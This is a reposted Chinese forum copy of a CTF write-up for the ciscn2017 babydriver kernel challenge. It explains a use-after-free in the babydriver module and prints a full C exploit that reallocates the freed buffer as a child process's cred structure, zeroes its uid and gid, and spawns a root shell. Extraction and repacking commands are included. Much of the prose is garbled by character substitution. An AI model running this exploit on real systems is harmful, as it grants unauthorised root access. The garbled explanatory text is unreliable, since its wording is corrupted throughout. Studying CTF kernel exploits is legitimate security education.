linux_kernal_pwn ciscn2017_babydriver

科技 科技 1277 人阅读 | 0 人回复

<
是kernal pwn
给了三个文件
boot.sh: 一个用于启动 kernel 的 shell 的剧本,多用 qemu,庇护步伐取 qemu 不同的启动参数有闭
bzImage: 挨包的内乱核代码,普通经由过程它抽掏出vmlinx,寻觅gadget也是正在那里
rootfs.cpio: 文件体系映像,也便是内乱核采纳的文件体系
像用户态pwn一样,借没有是先查庇护。
214605nuw9wzlhwk7nqklc.png
能够看得出去,只开了smep。
那是个啥,我们先道一下内乱核态庇护皆有面啥
内乱核庇护从四个圆里动身,别离是断绝、会见掌握、非常检测、随机化。
断绝又分为用户代码不成施行,用户数据不成会见,另有一个KPTI。
而我们道的smep是属于用户代码不成施行。
那个是ctf-wiki的简介
  开初,正在内乱核态施行代码时,能够间接施行用户态的代码。那假如进犯者掌握了内乱核中的施行流,就能够施行处于用户态的代码。因为用户态的代码是进犯者可控的,以是更简单施行进犯。为了防备这类进犯,研讨者提出当位于内乱核态时,不克不及施行用户态的代码。
然后我们要把他给的文件体系文件解压,找到init文件,看看挂载了一些甚么。
  1. mkdir core
  2. cp rootfs.cpio ./core
  3. cd core
  4. mv ./rootfs.cpio rootfs.cpio.gz     
  5. #由于cpio是颠末gzip紧缩过的,必需变动名字,gunzip才熟悉
  6. gunzip ./rootfs.cpio.gz
  7. #gunzip解压一会cpio才能够熟悉,否则便会报畸形数字
  8. cpio -idmv < ./rootfs.cpio
  9. #cpio是解压指令 -idmv是它的四个参数
  10. #-i或--extract  施行copy-in形式,复原备份档。
  11. #-d或--make-directories  若有需求cpio会自止成立目次。
  12. #-v或--verbose  具体显现指令的施行历程。
  13. #-m或preserve-modification-time  没有来改换文件的变动工夫
复造代码
p检察init文件br /
img src="https://img-blog.csdnimg.cn/7189c276536f453c9e0059754ced2163.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3lvbmdiYW9paQ==,size_16,color_FFFFFF,t_70" alt="正在那里插进图片描摹" /
br / moun挂载Linux体系中的文件br / chown号令用于设置文件一切者战文件联系关系组的号令,chown 需求超等用户 root 的权限才华施行此号令。能够看到把flag扔到了root。br / chmod掌握用户对文件的权限的号令br / exec设置文件流br / insmod号令用于载进模块br / 最初poweroff封闭了电源/p p以是看半天实在为了阐明便减载了babydriver.ko那个模块,成绩便正在内里。/p p那末怎样把那个模块拿出去,我们另有一个文件出用,便是bzImage,他是内乱核代码的紧缩。/p p操纵linux内乱核源码中的script中的extract-vmlinux剧本能够抽掏出vmlinuxbr / vmlinux便是内乱核文件。/p
  1. ./extract-vmlinux ./bzImage > vmlinux
复造代码
那个./extract-vmlinux大要有一些内乱核把它剥离了,以是只能本人写shell剧本。
  1. #!/bin/sh
  2. # SPDX-License-Identifier: GPL-2.0-only
  3. # ----------------------------------------------------------------------
  4. # extract-vmlinux - Extract uncompressed vmlinux from a kernel image
  5. #
  6. # Inspired from extract-ikconfig
  7. # (c) 2009,2010 Dick Streefland <dick@streefland.net>
  8. #
  9. # (c) 2011      Corentin Chary <corentin.chary@gmail.com>
  10. #
  11. # ----------------------------------------------------------------------
  12. check_vmlinux()
  13. {
  14.     # Use readelf to check if it&#39;s a valid ELF
  15.     # TODO: find a better to way to check that it&#39;s really vmlinux
  16.     #       and not just an elf
  17.     readelf -h $1 > /dev/null 2>&1 || return 1
  18.     cat $1
  19.     exit 0
  20. }
  21. try_decompress()
  22. {
  23.     # The obscure use of the "tr" filter is to work around older versions of
  24.     # "grep" that report the byte offset of the line instead of the pattern.
  25.     # Try to find the header ($1) and decompress from here
  26.     for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
  27.     do
  28.         pos=${pos%%:*}
  29.         tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
  30.         check_vmlinux $tmp
  31.     done
  32. }
  33. # Check invocation:
  34. me=${0##*/}
  35. img=$1
  36. if  [ $# -ne 1 -o ! -s "$img" ]
  37. then
  38.     echo "Usage: $me <kernel-image>" >&2
  39.     exit 2
  40. fi
  41. # Prepare temp files:
  42. tmp=$(mktemp /tmp/vmlinux-XXX)
  43. trap "rm -f $tmp" 0
  44. # That didn&#39;t work, so retry after decompression.
  45. try_decompress &#39;\037\213\010&#39; xy    gunzip
  46. try_decompress &#39;\3757zXZ\000&#39; abcde unxz
  47. try_decompress &#39;BZh&#39;          xy    bunzip2
  48. try_decompress &#39;\135\0\0\0&#39;   xxx   unlzma
  49. try_decompress &#39;\211\114\132&#39; xy    &#39;lzop -d&#39;
  50. try_decompress &#39;\002!L\030&#39;   xxx   &#39;lz4 -d&#39;
  51. try_decompress &#39;(\265/\375&#39;   xxx   unzstd
  52. # Finally check for uncompressed images or objects:
  53. check_vmlinux $img
  54. # Bail out:
  55. echo "$me: Cannot find vmlinux." >&2
复造代码
将那个剧本写正在桌里,大要其他处所。
然后给个权限
  1. chmod +x ./extract-vmlinux
复造代码
然后就能够用上里谁人句子去提与vmlinux了。
前期事情筹办终了,然后我们便明白成绩正在谁人babydriver的模块中,我们把他推到IDA傍边。
214606nglfvefkinfeavge.jpg

函数量录正在那里。
open
214606shcoozs8ddid78i3.jpg
kmem_cache_alloc_trace用于从缓冲区申请内乱存。
便是申请了0x40巨细的内乱存,然后地点,巨细存正在了规划体中。
read
214606z11sozavm42kf155.jpg
比力device_buf_len战少度,施行copy_to_user,便像buffer中写工具,那个buffer较着是用户态传出去的。
write
214607kaasmlallu0mmxnm.jpg
write明显跟read是反的,copy from。
便是往内乱核写。
ioctl
214607zvple8g1771l2pu1.jpg
输进65537,便会开释buf,然后再申请len巨细的内乱存。
release
214607efhn5ubvuvb2bubp.jpg

便是开释,可是明显,我们熟习的,出有清算指针,有uaf。并且规划体是齐局变量。
也便是道假如我们同时翻开两个装备,第两次会笼盖第一次分派的空间,由于 babydev_struct 是齐局的。一样,假如开释第一个,那末第两个实际上是被是开释过的。
怎样操纵
起首我们要引见一个cred规划体。
  1. struct cred {
  2.     atomic_t    usage;
  3. #ifdef CONFIG_DEBUG_CREDENTIALS
  4.     atomic_t    subscribers;    /* number of processes subscribed */
  5.     void        *put_addr;
  6.     unsigned    magic;
  7. #define CRED_MAGIC  0x43736564
  8. #define CRED_MAGIC_DEAD 0x44656144
  9. #endif
  10.     kuid_t      uid;        /* real UID of the task */
  11.     kgid_t      gid;        /* real GID of the task */
  12.     kuid_t      suid;       /* saved UID of the task */
  13.     kgid_t      sgid;       /* saved GID of the task */
  14.     kuid_t      euid;       /* effective UID of the task */
  15.     kgid_t      egid;       /* effective GID of the task */
  16.     kuid_t      fsuid;      /* UID for VFS ops */
  17.     kgid_t      fsgid;      /* GID for VFS ops */
  18.     unsigned    securebits; /* SUID-less security management */
  19.     kernel_cap_t    cap_inheritable; /* caps our children can inherit */
  20.     kernel_cap_t    cap_permitted;  /* caps we&#39;re permitted */
  21.     kernel_cap_t    cap_effective;  /* caps we can actually use */
  22.     kernel_cap_t    cap_bset;   /* capability bounding set */
  23.     kernel_cap_t    cap_ambient;    /* Ambient capability set */
  24. #ifdef CONFIG_KEYS
  25.     unsigned char   jit_keyring;    /* default keyring to attach requested
  26.                      * keys to */
  27.     struct key __rcu *session_keyring; /* keyring inherited over fork */
  28.     struct key  *process_keyring; /* keyring private to this process */
  29.     struct key  *thread_keyring; /* keyring private to this thread */
  30.     struct key  *request_key_auth; /* assumed request_key authority */
  31. #endif
  32. #ifdef CONFIG_SECURITY
  33.     void        *security;  /* subjective LSM security */
  34. #endif
  35.     struct user_struct *user;   /* real user ID subscription */
  36.     struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  37.     struct group_info *group_info;  /* supplementary groups for euid/fsgid */
  38.     struct rcu_head rcu;        /* RCU deletion hook */
  39. };
复造代码
kernel 记载了历程的权限,更详细的,是用 cred 规划体记载的,每一个历程中皆有一个 cred 规划,那个规划保留了该历程的权限等疑息(uid,gid 等),假如能修正某个历程的 cred,那末也便修正了那个历程的权限。
那我们的思绪是啥
先open两次/dev/babydev,fd1,fd2
经由过程ioctl修正babydevice_t->device_buf_len为cred规划体巨细(0xa8)
封闭此中一个fd1,会将babydevice_t开释
fork,创立一个历程,因为开释的babydevice_t战cred巨细不异,将利用babydevice_t做为cred规划体
经由过程write(fd2,buf)去修正cred的uid,gid为0
exp
  1. CISCN2017_babydriver [master●●] cat exploit.c
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <stropts.h>
  7. #include <sys/wait.h>
  8. #include <sys/stat.h>
  9. int main()
  10. {
  11.     // 翻开两次装备
  12.     int fd1 = open("/dev/babydev", 2);
  13.     int fd2 = open("/dev/babydev", 2);
  14.     // 修正 babydev_struct.device_buf_len 为 sizeof(struct cred)
  15.     ioctl(fd1, 0x10001, 0xa8);
  16.     // 开释 fd1
  17.     close(fd1);
  18.     // 新起历程的 cred 空间会战方才开释的 babydev_struct 堆叠
  19.     int pid = fork();
  20.     if(pid < 0)
  21.     {
  22.         puts("[*] fork error!");
  23.         exit(0);
  24.     }
  25.     else if(pid == 0)
  26.     {
  27.         // 经由过程变动 fd2,修正新历程的 cred 的 uid,gid 等值为0
  28.         char zeros[30] = {0};
  29.         write(fd2, zeros, 28);
  30.         if(getuid() == 0)
  31.         {
  32.             puts("[+] root now.");
  33.             system("/bin/sh");
  34.             exit(0);
  35.         }
  36.     }
  37.     else
  38.     {
  39.         wait(NULL);
  40.     }
  41.     close(fd2);
  42.     return 0;
  43. }
复造代码
p最初我们到了getshell的部分,如何getshell。br / 起首我们把exp拾到core的tmp目次下。/p
  1. cp exp core/tmp
复造代码
p然后从头把内乱核挨包起去。/p
  1. cd core
  2. find . | cpio -o --format=newc > rootfs.cpio
复造代码
然后把挨包好的拿出去。
  1. cp rootfs.cpio ..
复造代码
然后出去,启动
  1. cd ..
  2. ./boot.sh
复造代码
214608quzdbohkxkkthprr.jpg

然后便ok了。

免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作!
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请您发送邮箱:Cdnjson@163.com提供相关证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
回复 关闭延时

使用道具 举报

 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则